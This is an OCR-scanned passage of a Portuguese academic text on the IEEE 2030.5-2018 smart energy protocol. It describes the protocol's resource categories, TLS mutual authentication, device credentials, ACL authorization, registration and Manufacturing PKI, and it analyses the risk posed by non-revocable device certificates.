Vale lembrar também que os recursos em uma lista também possuem seus proprios

enderecos, o que permite o acesso direto. Como por exemplo:

e Uma operacao GET em http://host6/instance/of/type/white ird retornar:

1 <MyType href="http://host6/instance/of/type/white">
2 <timeStamp>600</timeStamp>
3 </MyType>

4.5.1 Categoria Support Resources

A categoria Support Resources agrupa recursos e conjuntos de fung¢oes que tém por finali-
dade prover informagoes operacionais para os dispositivos de uma rede IEEE 2030.5-2018,

bem como servigos para gerenciar e oferecer suporte a operagao dos mesmos.

Os conjuntos de funcoes que fazem parte dessa categoria sao: Device Capabilities, Self
Device, End Device, Function Set Assignments, Subscription/Notification e Response. A
Tabela 4.5 apresenta os conjuntos de func¢oes com alguns exemplos de recursos que estao

presentes 110S MmMesSmaos.

O conjunto de fungoes Function Set Assignments destaca-se por permitir que um
grupo de EndDevice utilize a mesma colegao de recursos. Isso facilita o gerenciamento

uma vez que nao € necessario atribuir individualmente cada recurso a cada EndDevice.

Por exemplo, uma concessionaria deseja que determinado grupo de medidores inteli-
gentes de uma regiao em especifico utilize uma instancia especifica do conjunto de fungoes
Pricing e Time. Para isso, a concessionéria atribui a um recurso FunctionSetAssignments
as referéncias aos determinados conjuntos de fung¢oes de Pricing e Time desejado. Em se-
guida, o recurso FunctionSetAssignments ¢ atribuido a cada recurso EndDevice referente
a cada medidor inteligente presente no grupo. Assim, quando cada medidor inteligente
acessar seu respectivo recurso EndDevice, eles serao direcionados ao recurso FunctionSe-
tAssignments para receberem as URIs relativas aos recursos Pricing e Time que deverao

fazer uso.
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Tabela 4.5: Exemplos de conjunto de fungoes e recursos da categoria Support Resources

Conjunto de Funcao
Recurso

Descricao

Device Capabilities

DeviceCapability

enumera os recursos e os conjuntos de fungoes supor-
tados por um dispositivo.

recurso utilizado na enumeracao de recursos e conjun-
tos de fungoes que estao presentes em um dispositivo.

Self Device

SelfDevice

fornece informagoes gerais sobre o dispositivo (e.g., fa-
bricante e nimero da versao).
recurso utilizado para prover informacgoes gerais.

End Device

EndDevice

EndDeviceList

armazenado em um dispositivo servidor/controlador
da HAN; é semelhante a uma ficha de registro a qual
contém informagoes sobre determinado ativo; promove
a troca de informacoes, tanto gerais quanto especificas.
recurso que prové a interface para troca de informa-
coes.

recurso que retorna a lista dos EndDevice hospedados
em determinado dispositivo.

Function Set Assignments

FunctionSetAssignments

define uma colegao de referéncias para instancias de
conjuntos de fungdes a serem usadas por um grupo
especifico de dispositivos.

recurso que fornece uma cole¢ao de recursos para de-
terminado dispositivo.

Subscription/Notification

Subscription

Notification

fornece mecanismos para que um dispositivo seja infor-
mado sobre alguma alteracao de status em um deter-
minado recurso.

recurso que contém informagoes relacionadas a uma
assinatura para receber informacao automaticamente.
recurso que recebe notificagao sobre alteracoes ocorri-
das em um recurso ao qual o dispositivo possui assina-
tura.

Response

Response
PriceResponse

TextResponse

fornece uma interface para captura da resposta envi-
ada pelos dispositivos apos receberem a ocorréncia de
determinado evento o qual necessita de resposta.
recurso que fornece um repositorio de dados de resposta
genérico.

recurso que fornece resposta a um evento relacionado
a prego (e.g., alteracao de prego).

recurso que fornece resposta a um evento relacionado
a mensagem de texto.
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4.5.2 Categoria Common Resources

A categoria Common Resources agrupa recursos e conjuntos de fungoes que fornecem

funcionalidades de proposito geral nao sendo especifico de um dominio.

Os conjuntos de fungoes que fazem parte dessa categoria sao: Time, Device Infor-
mation, Power Status, Network Status, Log Event, Configuration e File Download. A
Tabela 4.6 apresenta os conjuntos de func¢oes com alguns exemplos de recursos que estao

presentes nos mesmos.

Com relacgao ao recurso Time, é importante destacar o fato de que todos os dispositivos
devem implementar tal recurso — seja como cliente, servidor ou ambos — a fim de manter
a sincronizagao. O padrao prevé que as atualizagoes de tempo devem ser feitas por meio
de requisi¢oes ao recurso Time e, a fim de manter um trafego minimo na rede, essas

requisigoes:

e nao devem ser mais frequentes do que 1 a cada 15 minutos quando ja se tem esta-

belecido um dispositivo fornecedor do recurso Time; e

e nao devem ser maior do que 1 a cada 15 segundos, empregando backoff exponencial,

quando se esta procurando um dispositivo fornecedor do recurso Time.

Encontrando mais de um recurso Time disponivel na rede, o dispositivo deve escolher
o que possui melhor métrica de qualidade. De acordo com o documento sep.xsd, as
métricas de qualidade sao classificadas por niveis, sendo os niveis mais baixos os de melhor

qualidade. Os niveis sao:

Nivel 3 - tempo obtido por uma fonte externa autoritativa (e.g., fonte NTP).

Nivel 4 - tempo obtido por uma fonte nivel 3.

Nivel 5 - tempo configurado manualmente ou obtido de uma fonte nivel 4.

Nivel 6 - tempo obtido por uma fonte nivel 5.

Nivel 7 - tempo intencionalmente descoordenado (tempo fora do padrao definido no

sep.xsd).

Todos os demais valores de niveis sao reservados para uso futuro.
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Tabela 4.6: Exemplos de conjunto de fungoes e recursos da categoria Common Resources

Conjunto de Funcao
Recurso

Descricao

Time

Time

tem por finalidade fornecer a base de tempo para que todos
os dispositivos estejam sincronizados.
recurso que fornece a base de tempo.

Device Information

Devicelnformation

fornece identificacao e informacgoes de determinado dispositivo
que sao disponibilizadas pelo fabricante.

recurso utilizado para fornecer identificacao e informacao de
determinado dispositivo.

Power Status

PowerStatus

fornece informacgoes sobre a fonte de alimentacao atual do
dispositivo bem como de outras utilizadas como reserva de
energia.

recurso que fornece informacao sobre a fonte de alimentacao
do dispositivo.

Network Status

fornece informagoes a respeito da camada de rede (IP) do
dispositivo.

[PInterface recurso que informa o status de uma interface especifica de
determinado dispositivo.
Log Event tem por finalidade registrar os eventos gerados pelos disposi-
tivos.
LogEvent recurso que registra data e hora de um evento significativo
detectado por um dispositivo.
Configuration fornece um acesso centralizado de leitura e gravagao da con-
figuracao operacional de um dispositivo.
Configuration recurso que contém os parametros de configuragao de um dis-

positivo.

File Download

File

FileList

fornece os mecanismos para realizacao de suporte remoto se-
guro e download de arquivos nos dispositivos.

recurso que contém varios metadados sobre um determinado
arquivo.

recurso que lista as instancias File presente em um disposi-
tivo.
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4.5.3 Categoria Smart Energy Resources

Composto por conjuntos de funcgoes que sao especificos do dominio da Smart Energy.
Grande parte desses conjuntos de fungoes exercem controle sobre os dispositivos e sao

usados tipicamente para prover o gerenciamento dos mesmos.

Os conjuntos de fungoes que integram essa categoria sao: Demand Response and Load
Control (DRLC), Metering, Pricing, Messaging, Billing, Prepayment, Flow Reservation,
Distributed Energy Resources e Metering Mirror. A Tabela 4.7 apresenta os conjuntos de

fungoes com alguns exemplos de recursos que estao presentes nos mesmos.

Dentre os conjuntos de fungoes presentes na categoria Smart Energy, o conjunto Me-
tering Mirror destaca-se por nao ser necessariamente um conjunto voltado ao ambiente
elétrico. Ele permite que outros dispositivos de outras areas e com restrigoes de comu-
nicac¢ao (e.g., energia limitada) possam fazer uso desse recurso a fim de enviar e receber

comandos e informagoes.

Por exemplo, um medidor inteligente de gas pode ter limitacao de energia e com
isso ele “dorme” e “desperta” em periodos de tempos para enviar informacoes e receber
comandos. Uma concessionaria de gas que necessita fazer leituras das medigoes desse
medidor inteligente teria sérias dificuldades, pois necessitaria sincronizar a leitura com o
exato momento em que o medidor inteligente esté ativo para a comunicacao. Em vez disso,
o medidor inteligente pode fazer uso do recurso MirrorUsagePoint, em um dispositivo que
forneca tal recurso, e criar uma instancia para que possa enviar suas medig¢oes quando
estiver ativo. Assim, a concessionaria de gas pode fazer a leitura das medigoes do medidor

inteligente acessando o dispositivo no qual o medidor criou a instancia.
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Tabela 4.7: Exemplos de conjunto de fungoes e recursos da categoria Smart Energy

Conjunto de Fungao
Recurso

Descricao

DRLC fornece uma interface para o controle de carga e resposta
a demanda.

EndDeviceControl recurso que contém os parametros de controle para instruir
um EndDevice a executar uma agao especifica.

Metering fornece uma interface para a troca de informacoes sobre
leituras e medigoes das commodities.

UsagePoint recurso que representa um ponto logico onde consumo e/ou
producao sao medidos fisicamente.

MeterReading recurso que contém conjunto de valores obtidos dos medi-
dores.

Pricing fornece modelos de estruturas tarifarias com suporte a uma
variedade de tipos (e.g., prego por hora e prego por con-
sumo).

TariffProfile recurso que fornece um coédigo de cobranca tarifario por
meio de uma tabela de cobranca.

Messaging fornece uma interface para o servigo de troca de mensagens
de texto.

TextMessage recurso que contém mensagem de texto individual usada
em uma notificagao.

Billing tem por finalidade fornecer o consumo, custo e estimativa
futura de consumo das commodities.

ProjectionReading recurso que contém valores previstos em uma leitura futura
para um dado intervalo de tempo especifico.

Prepayment fornece mecanismos para o fornecimento de determinada
commodity baseado em crédito ou débito do usuério.

Prepayment recurso que contém informagoes sobre crédito e/ou débito

do usuério.

Flow Reservation

FlowReservationRequest

fornece uma interface para a reserva de eventos de troca
de fluxo de energia (e.g., carga ou descarga).

recurso que contém informagoes sobre a necessidade de
reserva de um periodo de tempo para realizagao de uma
operacao de troca de fluxo.

DER

DER

fornece uma interface para gerenciamento das Distributed
Energy Resources.

recurso que contém informacao sobre uma determinada
DER.

Metering Mirror

MirrorUsagePoint

fornece mecanismos para facilitar que dispositivos com res-
tri¢oes (e.g., limitacdo de energia) possam enviar seus da-
dos de maneira mais eficiente.

recurso que fornece suporte idéntico ao UsagePoint para
dispositivos com limitacoes.




Capitulo 5

Seguranca

A segurancga é um requisito fundamental em se tratando de acesso a dispositivos e trafego
de dados sensiveis. No entanto, deve haver um equilibrio, pois sistemas que implementam
seguranc¢a em excesso podem nao ter um tempo de resposta adequado. Da mesma forma,

sistemas altamente responsivos podem nao ter uma seguranca adequada.

Dado que os dispositivos em uma DER/HAN enviam informagdes e podem ser con-
trolados e gerenciados remotamente pelas concessionarias, é necesséario fornecer uma co-
municagao e um acesso seguro para evitar que terceiros mal intencionados tenham acesso
e executem agoes prejudiciais, tais como o envio de comandos nao autorizados ou roubo
de informacoes. Um terceiro mal intencionado pode enviar um comando malicioso que
pode dar inicio a uma reagao em cadeia prejudicando todo o sistema elétrico. Em 2008,
um ataque cibernético proveniente da Rissia derrubou todo o sistema de energia da Geor-
gia na guerra Russia-Geodrgia [26]. Em 2015, um ataque cibernético no sistema elétrico
da Ucrania causou um blackout que atingiu aproximadamente 225 mil consumidores por

diversas horas [20].

Portanto, seguranca no acesso e na comunicacao entre dispositivos torna-se uma
grande preocupagao. Sendo assim, os dispositivos IEEE 2030.5-2018 que compoem uma
DER/HAN devem garantir que apenas partes autorizadas tenham acesso aos recursos que
eles hospedam; reciprocamente, as partes autorizadas devem ser capazes de confirmar a
autenticidade do né remoto com o qual estao se comunicando. Além disso, os dispositivos
também devem fazer uso de protocolos adequados de seguranca a fim de garantir uma

comunicagao segura.

No IEEE 2030.5-2018, as transacoes seguras entre os dispositivos sao feitas por meio

de requisigoes HTTP encapsuladas em Transport Layer Security (TLS) [54] constituindo
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assim o HT'TPS. O mecanismo de handshake do TLS fornece autenticagao mutua entre os
dispositivos baseada nos certificados digitais presentes em ambos. Além disso, os registros

TLS fornecem criptografia e autenticacao de mensagens.

5.1 Credenciais dos dispositivos

No IEEE 2030.5-2018, cada dispositivo é provido de trés credenciais que o identificam:

e Short Form Device Identifier (SFDI);
e Long Form Device Identifier (LFDI); e

e PIN.

O SFDI e o LFDI sao derivados da impressao digital que por sua vez é proveniente do
certificado digital do dispositivo. A impressao digital é o resultado da aplicacao de uma
operacao hash SHA-256 sobre o certificado digital em codificagao Distinguished Encoding
Rules (DER). O SFDI é composto dos 36 bits mais significativos da impressao digital,
expressos em decimal, concatenados com um digito de checksum, totalizando 12 digitos
decimais. Ele é usado para identificar o dispositivo dentro de uma HAN /dominio. O LFDI
¢ composto dos 160 bits mais significativos da impressao digital, expressos em hexadeci-
mal, sendo usado para identificar o dispositivo em ambito externo da HAN /dominio. O
PIN é formado por uma sequéncia aleatoéria de 5 digitos decimais concatenados com mais
um digito de checksum, totalizando 6 digitos decimais. Ele pode ser compartilhado fora

de banda para ser usado em conjunto com o SFDI e o LFDI.

O SFDI e o PIN, em certos casos, podem ser usados em conjunto para formar um
codigo simples de registro de dispositivo. Portanto, a simples concatenacao do SFDI
com o PIN (SFDI || PIN) da origem ao chamado “Codigo de Registro” que é um nimero
decimal de 18 digitos.

5.2 Autenticacao

Para assegurar que os recursos serao acessados por dispositivos legitimos e com os devidos
privilégios de acesso, procedimentos de autenticagao e autorizagao dos dispositivos solici-
tantes sao realizados de acordo com a necessidade de cada recurso conforme definido nas

politicas de seguranca do sistema. Dependendo do recurso e das politicas de seguranca,
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Cliente Servidor

Cliente Hello

Servidor Hello
Certificado _Servidor
Requisita Certificado Cliente

Resultado Verificagao Certificado Servidor

Certificado  Cliente
Chave simétrica_ cifrada

Resultado Verificacao Certificado U

Conexao Criptografada

Conexao Criptografada

Figura 5.1: Fluxo autenticagao mutua TLS

os usos de autenticagao, confidencialidade de dados e verificagao de integridade podem ser
necessarios. Para esses recursos, o acesso deve ocorrer por meio de requisicoes HTTPS.
Para recursos sem tais requisitos e para os quais as politicas de seguranca permitem, o

acesso pode ser feito por meio de solicitagoes HT'TP nao criptografadas.

A autenticagao dos dispositivos é fornecida pelo TLS. Ele fornece confidencialidade,
autenticacao de mensagens e autenticacao mitua de dispositivos com base nos certificados
digitais.

A Figura 5.1 apresenta a demonstragao simplificada do fluxo TLS seguido para ocorrer
a autenticacao miutua entre dois dispositivos quaisquer denominados “Cliente” e “Servi-
dor”. Ao receber uma solicitacao hello HT'TPS, o dispositivo servidor inicia o handshake
TLS. Durante este procedimento, o dispositivo servidor envia seu certificado digital ao
dispositivo cliente para fins de validagao e solicita o certificado digital do mesmo. O
dispositivo cliente verifica o certificado digital do servidor conforme especificado na RFC
5246 [55]. Apos a verificagdo bem sucedida, o dispositivo cliente envia seu certificado di-
gital juntamente com uma mensagem contendo a chave simétrica cifrada na chave publica
do dispositivo servidor. Ao receber o certificado digital do cliente, o servidor também
realiza a verificagdo para os mesmos fins de validacao. Sendo bem sucedida a verificagao,

o dispositivo servidor decifra a mensagem utilizando a chave privada e recupera a chave
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simétrica. A partir de entao, as mensagens trocadas entre os dispositivos passam a ser

cifradas utilizando a chave simétrica.

A mesma dindmica ocorre entre os dispositivos IEEE 2030.5-2018. O uso de certificado
digital nos dispositivos que hospedam os recursos é obrigatoério. Eles agem como servidores
e o uso de certificados digitais auto-assinados nao é permitido. Os dispositivos solicitantes
agem como clientes fazendo uso dos recursos, podendo ou nao fazer uso de certificados

digitais e, se o fizerem, tais certificados digitais podem ser auto-assinados.

O uso ou nao de certificados digitais nos dispositivos solicitantes depende da politica
de seguranga implementada para cada sistema. Sendo assim, caso o dispositivo solicitante
nao faga uso de certificado digital, ele nao sera autenticado utilizando o TLS, mas pode
vir a ser autenticado por meio de uma autenticacao secundéria designada pela politica de

seguranga do sistema.

5.3 Autorizacao

A autorizacao para acesso aos recursos é obtida por meio de uma Access Control List
(ACL). Ela fornece mecanismos que especificam quais dispositivos tém acesso a deter-
minados recursos e quais operagoes podem ser executadas nesses recursos. Cada recurso
pode ter uma ACL especifica. Se o recurso nao tiver um acesso regulado por ACL, o

acesso é permitido para qualquer dispositivo.

Normalmente, a ACL define um privilégio padrao e pode conceder privilégios adici-
onais para dispositivos especificos. Tanto o privilégio padrao quanto os privilégios adi-
cionais devem seguir a politica de seguranca designada para o sistema. Para que seja
permitido o acesso de um determinado dispositivo a um determinado recurso, os atri-
butos presentes na ACL devem corresponder aos atributos apresentados pelo dispositivo

solicitante. No caso do IEEE 2030.5-2018, esses atributos sao:

e IPAddr — enderego IP do solicitante;
e Port — numero da porta do solicitante;
e Method — método HTTP utilizado pelo solicitante;

e AuthType — tipo de autenticacao feita pelo solicitante (sem autenticagdo, autenti-
cagao secundéria, certificado digital auto-assinado ou certificado digital emitido por

autoridade certificadora); e
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Tabela 5.1: Atributos presentes na ACL.

Atributo Tipo Descrigao
TPAddr TPAddr _ Enderego IP do
dispositivo solicitante
Niamero da porta do
dispositivo solicitante
Método HTTP:
0x1: GET
0x2: PUT
Ox4: POST
0x8: DELETE
0x10: HEAD
Ox1: Sem autenticacao
0x2: Autenticagao secundéria
0x4: Certificado auto-assinado
0x8: Certificado emitido por autoridade
Baseado no
DeviceType Inteiro OBJECT IDENTIFER
do certificado digital

Port Inteiro

Method Bitmap

AuthType Inteiro

e DeviceType — tipo de dispositivo solicitante (baseado no O0BJECT IDENTIFER pre-

sente no certificado digital do dispositivo solicitante).

Se houver uma correspondéncia entre os atributos apresentados e os presentes na
ACL, o acesso ao recurso é permitido. Caso contrario, o acesso estd condicionado ao
privilégio padrao especificado pela ACL. A Tabela 5.1 consolida e apresenta os atributos
presentes na ACL do IEEE 2030.5-2018, bem como os tipos de cada um e suas respectivas

descricoes.

5.4 Registro de dispositivo

Para acesso a determinados recursos especificos, pode ser necessario o registro prévio do
dispositivo solicitante no dispositivo que hospeda tais recursos. O processo de registro
informa ao dispositivo que hospeda os recursos o SFDI e, opcionalmente, o PIN do dispo-
sitivo solicitante. Essas informagoes identificam exclusivamente o dispositivo solicitante

em um determinado contexto.

O procedimento de envio das informacoes de cadastro ao dispositivo que hospeda o
recurso desejado ¢é feito através de um canal fora de banda. Por exemplo, usando uma

interface web ou até mesmo um acesso direto ao dispositivo que hospeda os recursos é
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possivel cadastrar previamente as informagoes SFDI (também, opcionalmente, o PIN) de
quem ird acessar os recursos. Esse cadastro cria uma instancia EndDevice no dispositivo
que hospeda os recursos. Assim, quando o dispositivo solicitante realiza o primeiro acesso,
ele consulta o recurso EndDeviceList para verificar se ja existe uma instancia dele previa-
mente criada. Essa verificacao ¢é feita pela comparacao do SFDI do dispositivo solicitante
com o SFDI presente nas instancias EndDeuvice listadas na EndDeviceList. Caso tenha
sido cadastrado o PIN, o dispositivo solicitante continua a verificagao acessando o recurso
Registration associado a sua instancia EndDevice para verificagao do PIN. Havendo cor-
respondéncia do PIN cadastrado no dispositivo que hospeda os recursos e o PIN presente
no dispositivo solicitante, entao hé a confirmacao do registro do dispositivo solicitante.

Nos casos onde nao ha PIN cadastrado, a verificagao se limita ao SFDI.

Ha também a possibilidade do dispositivo solicitante nao ser previamente cadastrado
e solicitar seu cadastro a partir do primeiro acesso ao dispositivo que hospeda os recur-
sos. Por exemplo, ao verificar a EndDeviceList, o dispositivo solicitante verifica que nao
exite nenhuma instancia EndDevice correspondente ao seu SFDI. Sendo assim, ele so-
licita a criagao de uma instancia EndDevice correspondente ao seu SFDI. A solicitacao
fica pendente até que haja uma confirmagao por parte do administrador do dispositivo

que hospeda os recursos. Havendo a confirmacao, a instancia é criada e o dispositivo

Registro
fora de banda

solicitante fica registrado.

>

A 1w

solicita HTTPS

| Autenticagio |

Autorizacao
resposta HTTPS (OK) :

solicita HTTP

Autorizagdo

resposta HTTP (ERROR)

Figura 5.2: Exemplo de registro, autenticacao e autorizagao para acesso a recurso.
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Em resumo, para garantir o acesso de dispositivos legitimos e com os devidos pri-
vilégios de acesso aos recursos hospedados em determinado dispositivo, métodos de au-
tenticagao e autorizacao sao utilizados. Para recursos especificos, além dos métodos de

autenticagao e autorizagao, ¢ necessario o registro prévio do dispositivo solicitante.

A Figura 5.2 apresenta um exemplo de dois dispositivos A e B que necessitam acessar
um recurso hospedado em C o qual requer comunicagao segura e registro prévio. O dispo-
sitivo B faz uma solicitagao HTTPS para C a fim de acessar o recurso. Nesse momento, o
processo de autenticagao tem inicio juntamente com o processo de verificacao do registro
prévio. Apos o processo de autenticacao e verificagao do registro prévio finalizar, C inicia
o processo de autorizacao, o qual consiste em acessar a ACL do recurso para verificar o
direito de acesso com base nas informagoes apresentadas por B. Se as informacgoes corres-
ponderem, como é o caso, 0 acesso ao recurso ¢ permitido. Por outro lado, A faz uma
solicitagcao HTTP para acessar o mesmo recurso. Por ser uma solicitagago HTTP, nao
hé procedimento de autenticagao. No entanto, hé a verificagao do registro. Terminado
o procedimento de autorizacao, as informacoes apresentadas por A nao correspondem as

restri¢coes presentes na ACL do recurso e, portanto, o acesso ao recurso ¢ negado.

5.5 Infraestrutura de Chave Publica

Uma infraestrutura de chave publica — Public Key Infrastructure (PKI) — é constituida
de elementos e politicas que dao suporte a criacao, verificacao, distribuicao, armazena-
mento e revogacao de certificados digitais, também conhecidos como certificados de chave
publica. Além disso, a PKI também fornece suporte para a aplicacao da técnica de crip-

tografia assimétrica.

A PKI auxilia no uso eficiente e correto da criptografia assimétrica, pois forma um
vinculo seguro entre a chave publica e a entidade proprietaria da chave privada corres-
pondente. Para criar esse vinculo confidvel entre uma chave publica e uma entidade, sao
utilizados certificados digitais. O certificado digital ¢ um documento eletrénico emitido
por uma Autoridade Certificadora — Certificate Authority (CA) — composto por infor-
macoes e atributos proprios da entidade para a qual ele estd sendo emitido. Atualmente,

o modelo de certificado digital mais adotado é o X.509 Versao 3 [2].

A CA é o componente principal de uma PKI pois ela é a ancora de confianca do
sistema. Sendo assim, todos os demais integrantes do sistema confiam na CA e nos cer-

tificados digitais por ela emitidos e assinados. O certificado digital emitido por uma CA
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¢ assinado digitalmente utilizando a chave privada da CA. Isso visa garantir a autenti-
cidade, integridade e o nao-repidio do contetido presente em um certificado digital. A
verificagao da assinatura digital é feita utilizando a chave publica da propria CA. Além
de emitir certificados digitais, uma CA pode também renovar e revogar os certificados

digitais por ela emitidos.

Os certificados digitais possuem prazo de validade e apds a expiracao do prazo os
mesmos passam a ser invalidos e nao confidveis. Para sanar tal situagao, o certificado
pode ser renovado. Um certificado digital também pode ser comprometido e nao ser mais
confidvel mesmo estando dentro do prazo de validade. A revogacao é o processo pelo
qual um certificado digital passa a ser classificado como nao mais confidvel no sistema.
A CA realiza o procedimento de revogagao e adiciona o certificado digital na Certificate
Revoked List (CRL). Sendo assim, para verificar se um certificado digital esta valido ou
nao, é necessario consultar a CRL. O status de um certificado digital também pode ser

consultado por meio do protocolo Online Certificate Status Protocol (OCSP) [17].

Uma PKI pode ter varias CAs e estas necessitam estabelecer relagoes de confianca
entre si [2]. As relagoes de confianga entre as CAs podem ser constituidas de diversas
maneiras, sendo estas classificadas em modelos de confianga [2]. Dentre os modelos de
confiancga, o mais comum é o modelo hierarquico no qual as CAs sao organizadas de forma
hierarquica. Nesse modelo, as CAs superiores emitem certificados para CAs inferiores
que por sua vez os utilizam para assinar os certificados digitais que emitem [2]. A CA
localizada no topo da estrutura hierarquica é denominada CA raiz. Ela é a unidade ancora
detentora de certificado digital auto-assinado no qual todos os demais devem confiar.

A Figura 5.3 apresenta um modelo de confianca hierarquico. Nela, a CA raiz emite

CA Raiz

|
v v

CA-1 CA-2

| —

Usuério | | Usuario CA-3
Final Final

4

Usuéario
Final

Figura 5.3: Modelo de Confianca Hierarquico
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certificado digital para duas outras CAs dando origem a CA-1 e CA-2. A CA-1 emite
certificados digitais para os usuarios finais. Ja a CA-2 emite certificado tanto para usuérios
finais quanto para dar origem a CA-3, que por sua vez emite certificados para usuéarios

finais.

5.5.1 Manufacturing PKI

No caso do IEEE 2030.5-2018, o padrao define uma PKI chamada Manufacturing PKI
para gerenciar os certificados digitais proprios dos dispositivos IEEE 2030.5-2018. Baseado
na necessidade de certificados digitais provenientes da Manufacturing PKI, espera-se que

o mercado implemente uma ou mais Manufacturing PKI de acordo com os requisitos
presentes no padrao IEEE 2030.5-2018.

A Manufacturing PKI é uma estrutura hierarquica com 2, 3 ou 4 niveis, sendo que
ao percorrer uma hierarquia, no topo dela deve haver uma tnica Smart Energy Root CA
(SERCA), conforme ilustrado no exemplo da Figura 5.4. Os elementos que compoem a

Manufacturing PKI sao:

e Smart Energy Root CA (SERCA) — autoridade de certificagao de nivel raiz (Root).

Pode emitir certificados para dispositivos em nome de um ou mais fabricantes.

o Manufacturer CA (MCA) — autoridade de certificagao intermediaria com o proposito

de emitir certificado para MICAs — proximo nivel na hierarquia.

e Manufacturer Issuing CA (MICA) — autoridade de certificagao que emite certificados

para dispositivos finais.

e Device Certificate — certificado digital que vincula a identidade do dispositivo ao

proprio dispositivo.

5.5.2 Certificados Digitais

Os certificados digitais IEEE 2030.5-2018 sao certificados X.509 Versao 3 conforme defi-
nido na RFC 5280 [6]. Em uma implementagao IEEE 2030.5-2018, os certificados emitidos
por uma Manufacturing PKI, por uma autoridade genérica — e.g., fornecidos por uma
autoridade fora da Manufacturing PKI — e até mesmo certificados auto-assinados po-
dem coexistir. Ha seis classes de certificados digitais que, a depender da configuracao do

sistema, podem estar ativos:
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Smart Energy
Root CA (SERCA)
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Device Manufacturer | | Manufacturer
Certificate | | Issuing CA CA (MCA)
(MICA) ]
i Manufacturer
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Device
Certificate

(A) Unica Manufacturing PKI

Smart Energy Smart Energy Smart Energy
Root CA (SERCA) Root CA (SERCA) Root CA (SERCA)
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Certifi Issuing CA CA (MCA)
ertificate (MICA)
l Manufacturer
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—17
Device
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(B) Multiplas Manufacturing PKI

Figura 5.4: Exemplo de estrutura hierarquica de Manufacturing PKI.
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e Certificado de dispositivo — certificado nativo IEEE 2030.5 emitido por uma Manu-

facturing PKI para fins operacionais;

e Certificado de teste de dispositivo — certificado nativo IEEE 2030.5 emitido por uma
Manufacturing PKI para fins de testes;

e Certificado adicional para dispositivo IEEE 2030.5 — certificado TLS opcional emi-
tidos por uma CA nao Manufacturing PKI para dispositivo IEEE 2030.5 (e.g.,
HEMS);

e Certificado genérico de cliente nao nativo — certificado TLS emitido por uma CA

nao Manufacturing PKI para dispositivo cliente (consumidor de recursos);

e Certificado genérico de servidor nao nativo — certificado TLS emitido por uma CA

nao Manufacturing PKI para dispositivo servidor (provedor de recursos);

e Certificado auto-assinado nao nativo — certificado TLS emitido e auto-assinado pelo

dispositivo solicitante.

A Tabela 5.2 demonstra a interacao entre esses diferentes tipos de certificados. O
dispositivo solicitante que possui certificado IEEE 2030.5 pode interagir apenas com dis-
positivo que hospeda recurso cujo certificado nao seja auto-assinado. Se o solicitante ou
o dispositivo que hospeda recurso usa um certificado genérico, a validacao do certificado
opcionalmente pode usar o OCSP. Para dispositivo solicitante e dispositivo que hospeda
recurso que usem certificados IEEE 2030.5, a verificacao é limitada apenas a validar as

assinaturas da cadeia de certificados.

Tabela 5.2: Autenticacao solicitante-hospedeiro por tipo de certificado

Dispositivo que hospeda recursos
Certificado | Certificado Certificado
IEEE 2030.5 | Genérico | Auto-assinado
Certificado IEEE 2030.5 OCSP Nao
,.g IEEE 2030.5 indef ! opcional permitido
8| Certificado OCSP Nao Nao
% Genérico opcional especificado especificado
@ | Certificado Validagao de Nao Nao
Auto-assinado assinatura especificado especificado

!indefinidamente validos e a verificacdo é limitada apenas a uma verificacdo das assi-

naturas na cadeia de certificados.
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Diferentemente dos certificados digitais provenientes de outras PKIs, os certificados
digitais da Manufacturing PKI tém um ciclo de vida indefinido e, uma vez emitidos, nao
podem ser revogados. Como resultado, nenhuma MCA, MICA ou SERCA deve emitir
CRL e nenhum MCA ou MICA deve operar ou ter terceiros operando em seu nome
servidores OCSP. Entretanto, o certificado de uma CA pode vir a ser inutilizado por
diversos motivos. Por exemplo, uma empresa privada operando uma CA pode deixar de
fornecer o servico ao mercado. Sendo assim, o certificado digital e a chave privada a ele
associados nao devem mais serem utilizados para gerar novos certificados. No entanto, os

certificados digitais por ele emitidos ainda devem ser considerados validos.

5.6 Analise de Seguranca

Tomando como base os elementos de seguranca e as suas caracteristicas presentes no pa-
drao TEEE 2030.5-2018, é possivel notar semelhancas e diferencas quanto & seguranca
utilizada em outros sistemas e plataformas. Por exemplo, a utilizacao de certificados
digitais para promover a autenticidade e criptografia para promover o sigilo sao elemen-
tos de seguranca bem conhecidos e utilizados no trafego de dados sensiveis na Internet.
Entretanto, diferentemente do que expressamente determina o IEEE 2030.5-2018, na In-
ternet sao utilizados tanto o CRL quanto o protocolo OCSP para verificacao da validade

e legitimidade dos certificados digitais.

Diversos servidores na Internet, principalmente de bancos, utilizam certificados di-
gitais a fim de promover uma comunicacao segura por meio do HTTPS. O usuério, ao
acessar determinado servidor utilizando o HTTPS, recebe o certificado digital daquele
servidor. Logo em seguida, é realizada uma consulta para verificar se o certificado é
véalido. Essa consulta é feita utilizando CRL ou OCSP. Também ocorre outras verifica-
¢oOes tais como a verificacao da assinatura digital tanto do proprio certificado quanto dos
demais certificados que compoem a cadeia até o certificado da autoridade certificadora
raiz. Sendo valido o certificado, o usuério inicia a comunicacdo criptografada (HTTPS)
com o servidor para a troca de mensagens e dados sensiveis. Ja a comunicacao segura
do TEEE 2030.5, diferentemente da comunicagao que ocorre na Internet usando HTTPS,
nao faz uso de CRL nem OCSP para a verificagao dos certificados digitais. A consulta se
limita apenas uma verificacao da cadeia de assinaturas presente nos certificados. Sendo
assim, em nao ocorrendo a verificacao em tempo real dos certificados, eles sao sempre
considerados vélidos caso nao ocorra nenhum erro na verificagao da cadeia de assinaturas,

independente da situagao.
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Um dos motivos para a nao utilizacao de CRL e OCSP no IEEE 2030.5-2018 advém
do fato de que eles geralmente sao hospedados pela CA na Internet e ndao ha nenhuma
disposigao expressa de que todos os dispositivos IEEE 2030.5 terao acesso a Internet [19].
Sendo assim, os dispositivos nao seriam capazes de fazer uso desses mecanismos para
verificarem os certificados digitais. Outra razao é que nao ha uma definigao especifica de
quem é responsavel por relatar o comprometimento de um certificado digital (violagao
da confidencialidade da chave privada a ele associada), uma vez que muitos dispositivos
devem operar sem intervencao humana e o proprietario do dispositivo pode nem saber

que o certificado digital do dispositivo esta comprometido [19].

O fato de a Manufacturing PKI emitir certificados nao-revogaveis com um ciclo de
vida indefinido pode causar sérios problemas de seguranca. Se um dispositivo tiver um
certificado comprometido, o mesmo nao pode ser revogado e nunca ird expirar. Sendo
assim, o certificado digital comprometido pode vir a ser usado por um dispositivo malicioso

para perpetrar algum tipo de ataque.

Uma medida que pode ser implementada é controlar ainda mais o acesso aos recursos
por meio de black lists e white lists de certificados digitais. No entanto, como a responsa-
bilidade de relatar certificados comprometidos nao esta claramente definida e muitos dos
dispositivos s@o concebidos para funcionar sem a intervengao humana, o uso de black/white
